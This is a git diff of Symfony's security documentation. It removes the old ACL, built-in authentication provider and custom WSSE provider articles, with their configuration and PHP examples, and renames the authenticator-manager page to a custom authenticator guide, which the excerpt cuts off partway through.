 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
-.. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
+.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
+.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 0d4676b3cf7..c880ec14065 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -15,6 +15,8 @@ generates a response based on the authentication state:
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.
 
+.. _security-entry-point:
+
 Customize the Unauthorized Response
 -----------------------------------
 
diff --git a/security/acl.rst b/security/acl.rst
deleted file mode 100644
index ffbf16c7c27..00000000000
--- a/security/acl.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-.. index::
-   single: Security; Access Control Lists (ACLs)
-
-How to Use Access Control Lists (ACLs)
-======================================
-
-.. caution::
-
-    ACL support was removed in Symfony 4.0. Install the `Symfony ACL bundle`_
-    and refer to its documentation if you want to keep using ACL.
-
-    Consider using :doc:`security voters </security/voters>`,
-    the alternative to ACLs recommended by Symfony.
-
-.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
deleted file mode 100644
index f2a672c41c7..00000000000
--- a/security/auth_providers.rst
+++ /dev/null
@@ -1,238 +0,0 @@
-Built-in Authentication Providers
-=================================
-
-If you need to add authentication to your app, we recommend using the
-:doc:`new authenticator-based system </security/authenticator_manager>` because
-it gives you full control over the process.
-
-But, Symfony also offers a number of built-in authentication providers: systems
-that are easier to implement, but harder to customize. If your authentication
-use-case matches one of these exactly, they're a great option:
-
-.. toctree::
-    :hidden:
-
-    form_login
-    json_login_setup
-
-* :doc:`form_login </security/form_login>`
-* :ref:`http_basic <security-http_basic>`
-* :doc:`LDAP via HTTP Basic or Form Login </security/ldap>`
-* :doc:`json_login </security/json_login_setup>`
-* :ref:`X.509 Client Certificate Authentication (x509) <security-x509>`
-* :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>`
-
-.. _security-http_basic:
-
-HTTP Basic Authentication
--------------------------
-
-`HTTP Basic authentication`_ asks credentials (username and password) using a dialog
-in the browser. The credentials are sent without any hashing or encryption, so
-it's recommended to use it with HTTPS.
-
-To support HTTP Basic authentication, add the ``http_basic`` key to your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    http_basic:
-                        realm: Secured Area
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <http-basic realm="Secured Area"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('main')
-                ->httpBasic()
-                    ->realm('Secured Area')
-            ;
-        };
-
-That's it! Symfony will now be listening for any HTTP basic authentication data.
-To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
-
-Note: you cannot use the :ref:`log out <security-logging-out>` with ``http_basic``.
-Even if you log out, your browser "remembers" your credentials and will send them
-on every request.
-
-.. _security-x509:
-
-X.509 Client Certificate Authentication
----------------------------------------
-
-When using client certificates, your web server is doing all the authentication
-process itself. With Apache, for example, you would use the
-``SSLVerifyClient Require`` directive.
-
-Enable the x509 authentication for a particular firewall in the security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    x509:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <x509 provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('main')
-                // ...
-                ->x509()
-                    ->provider('your_user_provider')
-            ;
-        };
-
-By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
-the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\PreAuthenticatedToken`.
-You can override these by setting the ``user`` and the ``credentials`` keys
-in the x509 firewall configuration respectively.
-
-.. _security-pre-authenticated-user-provider-note:
-
-.. note::
-
-    An authentication provider will only inform the user provider of the username
-    that made the request. You will need to create (or use) a "user provider" that
-    is referenced by the ``provider`` configuration parameter (``your_user_provider``
-    in the configuration example). This provider will turn the username into a User
-    object of your choice. For more information on creating or configuring a user
-    provider, see:
-
-    * :doc:`/security/user_provider`
-
-.. _security-remote_user:
-
-REMOTE_USER Based Authentication
---------------------------------
-
-A lot of authentication modules, like ``auth_kerb`` for Apache, provide the username
-using the ``REMOTE_USER`` environment variable. This variable can be trusted by
-the application since the authentication happened before the request reached it.
-
-To configure Symfony using the ``REMOTE_USER`` environment variable, enable the
-corresponding firewall in your security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    # ...
-                    remote_user:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <remote-user provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('main')
-                ->remoteUser()
-                    ->provider('your_user_provider')
-            ;
-        };
-
-The firewall will then provide the ``REMOTE_USER`` environment variable to
-your user provider. You can change the variable name used by setting the ``user``
-key in the ``remote_user`` firewall configuration.
-
-.. note::
-
-    Just like for X509 authentication, you will need to configure a "user provider".
-    See :ref:`the previous note <security-pre-authenticated-user-provider-note>`
-    for more information.
-
-.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
diff --git a/security/csrf.rst b/security/csrf.rst
index def19db4f36..6c5371e704c 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -123,8 +123,8 @@ customize the entire form field contents).
 CSRF Protection in Login Forms
 ------------------------------
 
-See :doc:`/security/form_login_setup` for a login form that is protected from
-CSRF attacks. You can also configure the
+See :ref:`form_login-csrf` for a login form that is protected from CSRF
+attacks. You can also configure the
 :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
deleted file mode 100644
index 94fdda02708..00000000000
--- a/security/custom_authentication_provider.rst
+++ /dev/null
@@ -1,653 +0,0 @@
-.. index::
-   single: Security; Custom authentication provider
-
-How to Create a custom Authentication Provider
-==============================================
-
-.. caution::
-
-    Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see the
-    :doc:`new authenticator-based system </security/authenticator_manager>`
-
-Symfony provides support for the most
-:doc:`common authentication mechanisms </security/auth_providers>`. However, your
-app may need to integrated with some proprietary single-sign-on system or some
-legacy authentication mechanism. In those cases you could create a custom
-authentication provider. This article discusses the core classes involved
-in the authentication process, and how to implement a custom authentication
-provider. Because authentication and authorization are separate concepts,
-this extension will be user-provider agnostic, and will function with your
-application's user providers, may they be based in memory, a database, or
-wherever else you choose to store them.
-
-Meet WSSE
----------
-
-The following article demonstrates how to create a custom authentication
-provider for WSSE authentication. The security protocol for WSSE provides
-several security benefits:
-
-#. Username / Password encryption
-#. Safe guarding against replay attacks
-#. No web server configuration required
-
-WSSE is very useful for the securing of web services, may they be SOAP or
-REST.
-
-There is plenty of great documentation on `WSSE`_, but this article will
-focus not on the security protocol, but rather the manner in which a custom
-protocol can be added to your Symfony application. The basis of WSSE is
-that a request header is checked for encrypted credentials, verified using
-a timestamp and `nonce`_, and authenticated for the requested user using a
-password digest.
-
-.. note::
-
-    WSSE also supports application key validation, which is useful for web
-    services, but is outside the scope of this article.
-
-The Token
----------
-
-The role of the token in the Symfony security context is an important one.
-A token represents the user authentication data present in the request. Once
-a request is authenticated, the token retains the user's data, and delivers
-this data across the security context. First, you'll create your token class.
-This will allow the passing of all relevant information to your authentication
-provider::
-
-    // src/Security/Authentication/Token/WsseUserToken.php
-    namespace App\Security\Authentication\Token;
-
-    use Symfony\Component\Security\Core\Authentication\Token\AbstractToken;
-
-    class WsseUserToken extends AbstractToken
-    {
-        public $created;
-        public $digest;
-        public $nonce;
-
-        public function __construct(array $roles = [])
-        {
-            parent::__construct($roles);
-
-            // If the user has roles, consider it authenticated
-            $this->setAuthenticated(count($roles) > 0);
-        }
-
-        public function getCredentials(): string
-        {
-            return '';
-        }
-    }
-
-.. note::
-
-    The ``WsseUserToken`` class extends the Security component's
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\AbstractToken`
-    class, which provides basic token functionality. Implement the
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
-    on any class to use as a token.
-
-The Listener
-------------
-
-Next, you need a listener to listen on the firewall. The listener
-is responsible for fielding requests to the firewall and calling the authentication
-provider. Listener is a callable, so you have to implement an ``__invoke()`` method.
-A security listener should handle the
-:class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
-set an authenticated token in the token storage if successful::
-
-    // src/Security/Firewall/WsseListener.php
-    namespace App\Security\Firewall;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    class WsseListener
-    {
-        protected $tokenStorage;
-        protected $authenticationManager;
-
-        public function __construct(TokenStorageInterface $tokenStorage, AuthenticationManagerInterface $authenticationManager)
-        {
-            $this->tokenStorage = $tokenStorage;
-            $this->authenticationManager = $authenticationManager;
-        }
-
-        public function __invoke(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-
-            $wsseRegex = '/UsernameToken Username="(?P<username>[^"]+)", PasswordDigest="(?P<digest>[^"]+)", Nonce="(?P<nonce>[a-zA-Z0-9+\/]+={0,2})", Created="(?P<created>[^"]+)"/';
-            if (!$request->headers->has('x-wsse') || 1 !== preg_match($wsseRegex, $request->headers->get('x-wsse'), $matches)) {
-                return;
-            }
-
-            $token = new WsseUserToken();
-            $token->setUser($matches['username']);
-
-            $token->digest  = $matches['digest'];
-            $token->nonce   = $matches['nonce'];
-            $token->created = $matches['created'];
-
-            try {
-                $authToken = $this->authenticationManager->authenticate($token);
-                $this->tokenStorage->setToken($authToken);
-
-                return;
-            } catch (AuthenticationException $failed) {
-                // ... you might log something here
-
-                // To deny the authentication clear the token. This will redirect to the login page.
-                // Make sure to only clear your token, not those of other authentication listeners.
-                // $token = $this->tokenStorage->getToken();
-                // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
-                //     $this->tokenStorage->setToken(null);
-                // }
-                // return;
-            }
-
-            // By default deny authorization
-            $response = new Response();
-            $response->setStatusCode(Response::HTTP_FORBIDDEN);
-            $event->setResponse($response);
-        }
-    }
-
-This listener checks the request for the expected ``X-WSSE`` header, matches
-the value returned for the expected WSSE information, creates a token using
-that information, and passes the token on to the authentication manager. If
-the proper information is not provided, or the authentication manager throws
-an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 401 Response is returned.
-
-.. note::
-
-    A class not used above, the
-    :class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`
-    class, is a very useful base class which provides commonly needed functionality
-    for security extensions. This includes maintaining the token in the session,
-    providing success / failure handlers, login form URLs, and more. As WSSE
-    does not require maintaining authentication sessions or login forms, it
-    won't be used for this example.
-
-.. note::
-
-    Returning prematurely from the listener is relevant only if you want to chain
-    authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a 404 error, you should set
-    the status code of the response before returning.
-
-The Authentication Provider
----------------------------
-
-The authentication provider will do the verification of the ``WsseUserToken``.
-Namely, the provider will verify the ``Created`` header value is valid within
-five minutes, the ``Nonce`` header value is unique within five minutes, and
-the ``PasswordDigest`` header value matches with the user's password::
-
-    // src/Security/Authentication/Provider/WsseProvider.php
-    namespace App\Security\Authentication\Provider;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Psr\Cache\CacheItemPoolInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class WsseProvider implements AuthenticationProviderInterface
-    {
-        private $userProvider;
-        private $cachePool;
-
-        public function __construct(UserProviderInterface $userProvider, CacheItemPoolInterface $cachePool)
-        {
-            $this->userProvider = $userProvider;
-            $this->cachePool = $cachePool;
-        }
-
-        public function authenticate(TokenInterface $token): WsseUserToken
-        {
-            // The loadUserByIdentifier() and getUserIdentifier() methods were
-            // introduced in Symfony 5.3. In previous versions they were called
-            // loadUserByUsername() and getUsername() respectively
-            $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
-
-            if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
-                $authenticatedToken = new WsseUserToken($user->getRoles());
-                $authenticatedToken->setUser($user);
-
-                return $authenticatedToken;
-            }
-
-            throw new AuthenticationException('The WSSE authentication failed.');
-        }
-
-        /**
-         * This function is specific to Wsse authentication and is only used to help this example
-         *
-         * For more information specific to the logic here, see
-         * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
-         */
-        protected function validateDigest($digest, $nonce, $created, $secret): bool
-        {
-            // Check created time is not in the future
-            if (strtotime($created) > time()) {
-                return false;
-            }
-
-            // Expire timestamp after 5 minutes
-            if (time() - strtotime($created) > 300) {
-                return false;
-            }
-
-            // Try to fetch the cache item from pool
-            $cacheItem = $this->cachePool->getItem(md5($nonce));
-
-            // Validate that the nonce is *not* in cache
-            // if it is, this could be a replay attack
-            if ($cacheItem->isHit()) {
-                // In a real world application you should throw a custom
-                // exception extending the AuthenticationException
-                throw new AuthenticationException('Previously used nonce detected');
-            }
-
-            // Store the item in cache for 5 minutes
-            $cacheItem->set(null)->expiresAfter(300);
-            $this->cachePool->save($cacheItem);
-
-            // Validate Secret
-            $expected = base64_encode(sha1(base64_decode($nonce).$created.$secret, true));
-
-            return hash_equals($expected, $digest);
-        }
-
-        public function supports(TokenInterface $token): bool
-        {
-            return $token instanceof WsseUserToken;
-        }
-    }
-
-.. note::
-
-    The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`
-    requires an ``authenticate()`` method on the user token, and a ``supports()``
-    method, which tells the authentication manager whether or not to use this
-    provider for the given token. In the case of multiple providers, the
-    authentication manager will then move to the next provider in the list.
-
-The Factory
------------
-
-You have created a custom token, custom listener, and custom provider. Now
-you need to tie them all together. How do you make a unique provider available
-for every firewall? The answer is by using a *factory*. A factory
-is where you hook into the Security component, telling it the name of your
-provider and any configuration options available for it. First, you must
-create a class which implements
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-    use App\Security\Firewall\WsseListener;
-    use Symfony\Bundle\SecurityBundle\DependencyInjection\Security\Factory\SecurityFactoryInterface;
-    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
-    use Symfony\Component\DependencyInjection\ChildDefinition;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Reference;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint): array
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-            ;
-
-            $listenerId = 'security.authentication.listener.wsse.'.$id;
-            $container->setDefinition($listenerId, new ChildDefinition(WsseListener::class));
-
-            return [$providerId, $listenerId, $defaultEntryPoint];
-        }
-
-        public function getPosition(): string
-        {
-            return 'pre_auth';
-        }
-
-        public function getKey(): string
-        {
-            return 'wsse';
-        }
-
-        public function addConfiguration(NodeDefinition $node): void
-        {
-        }
-    }
-
-The :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`
-requires the following methods:
-
-``create()``
-    Method which adds the listener and authentication provider
-    to the DI container for the appropriate security context.
-
-``getPosition()``
-    Returns when the provider should be called. This can be one of ``pre_auth``,
-    ``form``, ``http`` or ``remember_me``.
-
-``getKey()``
-    Method which defines the configuration key used to reference
-    the provider in the firewall configuration.
-
-``addConfiguration()``
-    Method which is used to define the configuration
-    options underneath the configuration key in your security configuration.
-    Setting configuration options are explained later in this article.
-
-.. note::
-
-    A class not used in this example,
-    :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`,
-    is a very useful base class which provides commonly needed functionality
-    for security factories. It may be useful when defining an authentication
-    provider of a different type.
-
-Now that you have created a factory class, the ``wsse`` key can be used as
-a firewall in your security configuration.
-
-.. note::
-
-    You may be wondering "why do you need a special factory class to add listeners
-    and providers to the dependency injection container?". This is a very
-    good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
-    The factory is what creates these new services.
-
-Configuration
--------------
-
-It's time to see your authentication provider in action. You will need to
-do a few things in order to make this work. The first thing is to add the
-services above to the DI container. Your factory class above makes reference
-to service ids that may not exist yet: ``App\Security\Authentication\Provider\WsseProvider`` and
-``App\Security\Firewall\WsseListener``. It's time to define those services.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\Security\Authentication\Provider\WsseProvider:
-                arguments:
-                    $cachePool: '@cache.app'
-
-            App\Security\Firewall\WsseListener:
-                arguments: ['@security.token_storage', '@security.authentication.manager']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"/>
-                </service>
-
-                <service id="App\Security\Firewall\WsseListener">
-                    <argument type="service" id="security.token_storage"/>
-                    <argument type="service" id="security.authentication.manager"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Security\Authentication\Provider\WsseProvider;
-        use App\Security\Firewall\WsseListener;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(WsseProvider::class)
-                ->arg('$cachePool', service('cache.app'))
-            ;
-
-            $services->set(WsseListener::class)
-                ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
-                    service('security.token_storage'),
-                    service('security.authentication.manager'),
-                ])
-            ;
-        };
-
-Now that your services are defined, tell your security context about your
-factory in the kernel::
-
-    // src/Kernel.php
-    namespace App;
-
-    use App\DependencyInjection\Security\Factory\WsseFactory;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function build(ContainerBuilder $container): void
-        {
-            $extension = $container->getExtension('security');
-            $extension->addSecurityListenerFactory(new WsseFactory());
-        }
-
-        // ...
-    }
-
-You are finished! You can now define parts of your app as under WSSE protection.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      true
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall
-                    name="wsse_secured"
-                    pattern="^/api/"
-                    stateless="true"
-                    wsse="true"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('wsse_secured')
-                ->pattern('^/api/')
-                ->stateless(true)
-                ->wsse()
-            ;
-        };
-
-Congratulations! You have written your very own custom security authentication
-provider!
-
-A little Extra
---------------
-
-How about making your WSSE authentication provider a bit more exciting? The
-possibilities are endless. Why don't you start by adding some sparkle
-to that shine?
-
-Configuration
-~~~~~~~~~~~~~
-
-You can add custom options under the ``wsse`` key in your security configuration.
-For instance, the time allowed before expiring the ``Created`` header item,
-by default, is 5 minutes. Make this configurable, so different firewalls
-can have different timeout lengths.
-
-You will first need to edit ``WsseFactory`` and define the new option in
-the ``addConfiguration()`` method::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    // ...
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        // ...
-
-        public function addConfiguration(NodeDefinition $node): void
-        {
-            $node
-                ->children()
-                    ->scalarNode('lifetime')->defaultValue(300)
-                ->end();
-        }
-    }
-
-Now, in the ``create()`` method of the factory, the ``$config`` argument will
-contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
-set in the configuration. Pass this argument to your authentication provider
-in order to put it to use::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint): array
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-                ->setArgument(2, $config['lifetime']);
-            // ...
-        }
-
-        // ...
-    }
-
-.. note::
-
-    The ``WsseProvider`` class will also now need to accept a third constructor argument -
-    the lifetime - which it should use instead of the hard-coded 300 seconds. This
-    step is not shown here.
-
-The lifetime of each WSSE request is now configurable, and can be
-set to any desirable value per firewall.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      { lifetime: 30 }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="wsse_secured" pattern="^/api/" stateless="true">
-                    <wsse lifetime="30"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('wsse_secured')
-                ->pattern('^/api/')
-                ->stateless(true)
-                ->wsse()
-                    ->lifetime(30)
-            ;
-        };
-
-The rest is up to you! Any relevant configuration items can be defined
-in the factory and consumed or passed to the other classes in the container.
-
-
-.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html
-.. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce
diff --git a/security/authenticator_manager.rst b/security/custom_authenticator.rst
similarity index 55%
rename from security/authenticator_manager.rst
rename to security/custom_authenticator.rst
index 58b1a2baf5d..1537d76f395 100644
--- a/security/authenticator_manager.rst
+++ b/security/custom_authenticator.rst
@@ -1,286 +1,11 @@
-Using the new Authenticator-based Security
-==========================================
+How to Write a Custom Authenticator
+===================================
 
-.. versionadded:: 5.1
-
-    Authenticator-based security was introduced in Symfony 5.1.
-
-In Symfony 5.1, a new authentication system was introduced. This system
-changes the internals of Symfony Security, to make it more extensible
-and more understandable.
-
-.. _security-enable-authenticator-manager:
-
-Enabling the System
--------------------
-
-The authenticator-based system can be enabled using the
-``enable_authenticator_manager`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-            // ....
-        };
-
-The new system is backwards compatible with the current authentication
-system, with some exceptions that will be explained in this article:
-
-* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>`
-* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>`
-* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>`
-
-.. _authenticators-removed-anonymous:
-
-Adding Support for Unsecured Access (i.e. Anonymous Users)
-----------------------------------------------------------
-
-In Symfony, visitors that haven't yet logged in to your website were called
-:ref:`anonymous users <firewalls-authentication>`. The new system no longer
-has anonymous authentication. Instead, these sessions are now treated as
-unauthenticated (i.e. there is no security token). When using
-``isGranted()``, the result will always be ``false`` (i.e. denied) as this
-session is handled as a user without any privileges.
-
-In the ``access_control`` configuration, you can use the new
-``PUBLIC_ACCESS`` security attribute to whitelist some routes for
-unauthenticated access (e.g. the login page):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            access_control:
-                # allow unauthenticated users to access the login form
-                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
-
-                # but require authentication for all other admin routes
-                - { path: ^/admin, roles: ROLE_ADMIN }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
